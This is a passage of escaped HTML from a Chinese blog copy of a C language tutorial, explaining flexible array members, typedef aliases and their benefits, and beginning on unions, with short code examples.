class=\"line\"\u003estr-\u0026gt;len = n;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,假定\u003ccode\u003echars\u003c/code\u003e数组的成员数量是\u003ccode\u003en\u003c/code\u003e,只有在运行时才能知道\u003ccode\u003en\u003c/code\u003e到底是多少。然后,就为\u003ccode\u003estruct vstring\u003c/code\u003e分配它需要的内存:它本身占用的内存长度,再加上\u003ccode\u003en\u003c/code\u003e个数组成员占用的内存长度。最后,\u003ccode\u003elen\u003c/code\u003e属性记录一下\u003ccode\u003en\u003c/code\u003e是多少。\u003c/p\u003e\u003cp\u003e这样就可以让数组\u003ccode\u003echars\u003c/code\u003e有\u003ccode\u003en\u003c/code\u003e个成员,不用事先确定,可以跟运行时的需要保持一致。\u003c/p\u003e\u003cp\u003e弹性数组成员有一些专门的规则。首先,弹性成员的数组,必须是 struct 结构的最后一个属性。另外,除了弹性数组成员,struct 结构必须至少还有一个其他属性。\u003c/p\u003e\u003ch2 id=\"typedef-命令\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#typedef-%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"typedef 命令\"\u003e\u003c/a\u003etypedef 命令\u003c/h2\u003e\u003ch3 id=\"简介-7\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-7\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etypedef\u003c/code\u003e命令用来为某个类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e type name;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003etype\u003c/code\u003e代表类型名,\u003ccode\u003ename\u003c/code\u003e代表别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e BYTE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE c = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003etypedef\u003c/code\u003e命令为类型\u003ccode\u003eunsign char\u003c/code\u003e起别名\u003ccode\u003eBYTE\u003c/code\u003e,然后就可以使用\u003ccode\u003eBYTE\u003c/code\u003e声明变量。\u003c/p\u003e\u003cp\u003etypedef 可以一次指定多个别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e antelope, bagel, mushroom;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,一次性为\u003ccode\u003eint\u003c/code\u003e类型起了三个别名。\u003c/p\u003e\u003cp\u003etypedef 可以为指针起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* intptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eintptr x = \u0026amp;a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eintptr\u003c/code\u003e是\u003ccode\u003eint*\u003c/code\u003e的别名。不过,使用的时候要小心,这样不容易看出来,变量\u003ccode\u003ex\u003c/code\u003e是一个指针类型。\u003c/p\u003e\u003cp\u003etypedef 也可以用来为数组类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e five_ints[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efive_ints x = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efive_ints\u003c/code\u003e是一个数组类型,包含5个整数的\u003c/p\u003e\u003cp\u003etypedef 为函数起别名的写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003esigned\u003c/span\u003e \u003cspan class=\"title function_\"\u003echar\u003c/span\u003e \u003cspan class=\"params\"\u003e(*fp)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,类型别名\u003ccode\u003efp\u003c/code\u003e是一个指针,代表函数\u003ccode\u003esigned char (*)(void)\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"主要好处\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%BB%E8%A6%81%E5%A5%BD%E5%A4%84\" class=\"headerlink\" title=\"主要好处\"\u003e\u003c/a\u003e主要好处\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etypedef\u003c/code\u003e为类型起别名的好处,主要有下面几点。\u003c/p\u003e\u003cp\u003e(1)更好的代码可读性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* STRING;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSTRING name;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例为字符指针起别名为\u003ccode\u003eSTRING\u003c/code\u003e,以后使用\u003ccode\u003eSTRING\u003c/code\u003e声明变量时,就可以轻易辨别该变量是字符串。\u003c/p\u003e\u003cp\u003e(2)为 struct、union、enum 等命令定义的复杂数据结构创建别名,从而便于引用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etreenode\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etreenode\u003c/span\u003e* \u003cspan class=\"title\"\u003eTree\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eTree\u003c/code\u003e为\u003ccode\u003estruct treenode*\u003c/code\u003e的别名。\u003c/p\u003e\u003cp\u003etypedef 也可以与 struct 定义数据类型的命令写在一起。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eanimal\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e leg_count, speed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} animal;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,自定义数据类型时,同时使用\u003ccode\u003etypedef\u003c/code\u003e命令,为\u003ccode\u003estruct animal\u003c/code\u003e起了一个别名\u003ccode\u003eanimal\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种情况下,C 语言允许省略 struct 命令后面的类型名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e leg_count, speed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} animal;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例相当于为一个匿名的数据类型起了别名\u003ccode\u003eanimal\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(3)typedef 方便以后为变量改类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e app_float;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp_float f1, f2, f3;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ef1\u003c/code\u003e、\u003ccode\u003ef2\u003c/code\u003e、\u003ccode\u003ef3\u003c/code\u003e的类型都是\u003ccode\u003efloat\u003c/code\u003e。如果以后需要为它们改类型,只需要修改\u003ccode\u003etypedef\u003c/code\u003e语句即可。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e app_float;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令将变量\u003ccode\u003ef1\u003c/code\u003e、\u003ccode\u003ef2\u003c/code\u003e、\u003ccode\u003ef3\u003c/code\u003e的类型都改为\u003ccode\u003elong double\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(4)可移植性\u003c/p\u003e\u003cp\u003e某一个值在不同计算机上的类型,可能是不一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e100000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码在32位整数的计算机没有问题,但是在16位整数的计算机就会出错。\u003c/p\u003e\u003cp\u003eC 语言的解决办法,就是提供了类型别名,在不同计算机上会解释成不同类型,比如\u003ccode\u003eint32_t\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint32_t\u003c/span\u003e i = \u003cspan class=\"number\"\u003e100000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将变量\u003ccode\u003ei\u003c/code\u003e声明成\u003ccode\u003eint32_t\u003c/code\u003e类型,保证它在不同计算机上都是32位宽度,移植代码时就不会出错。\u003c/p\u003e\u003cp\u003e这一类的类型别名都是用 typedef 定义的。下面是类似的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003eptrdiff_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这些整数类型别名都放在头文件\u003ccode\u003estdint.h\u003c/code\u003e,不同架构的计算机只需修改这个头文件即可,而无需修改代码。\u003c/p\u003e\u003cp\u003e因此,\u003ccode\u003etypedef\u003c/code\u003e有助于提高代码的可移植性,使其能适配不同架构的计算机。\u003c/p\u003e\u003cp\u003e(5)简化类型声明\u003c/p\u003e\u003cp\u003eC 语言有些类型声明相当复杂,比如下面这个。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e (*(*x(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003etypedef 可以简化复杂的类型声明,使其更容易理解。首先,最外面一层起一个类型别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003echar\u003c/span\u003e \u003cspan class=\"params\"\u003e(*Func)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFunc (*x(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个看起来还是有点复杂,就为里面一层也定义一个别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003echar\u003c/span\u003e \u003cspan class=\"params\"\u003e(*Func)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e Func Arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eArr* \u003cspan class=\"title function_\"\u003ex\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码就比较容易解读了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ex\u003c/code\u003e是一个函数,返回一个指向 Arr 类型的指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eArr\u003c/code\u003e是一个数组,有5个成员,每个成员是\u003ccode\u003eFunc\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eFunc\u003c/code\u003e是一个函数指针,指向一个无参数、返回字符值的函数。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Union-结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Union-%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"Union 结构\"\u003e\u003c/a\u003eUnion 结构\u003c/h2\u003e\u003cp\u003e有时需要一种数据结构,不同的场合表示不同的数据类型。比如,如果只用一种数据结构表示水果的“量”,这种结构就需要有时是整数(6个苹果),有时是浮点数(1.5公斤草莓)。\u003c/p\u003e\u003cp\u003eC 语言提供了 Union 结构,用来自定义可以灵活变更的数据结构。它内部可以包含各种属性,但同一时间只能有一个属性,因为所有属性都保存在同一个内存地址,后面写入的属性会覆盖前面的属性。这样做的最大好处是节省空间。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan 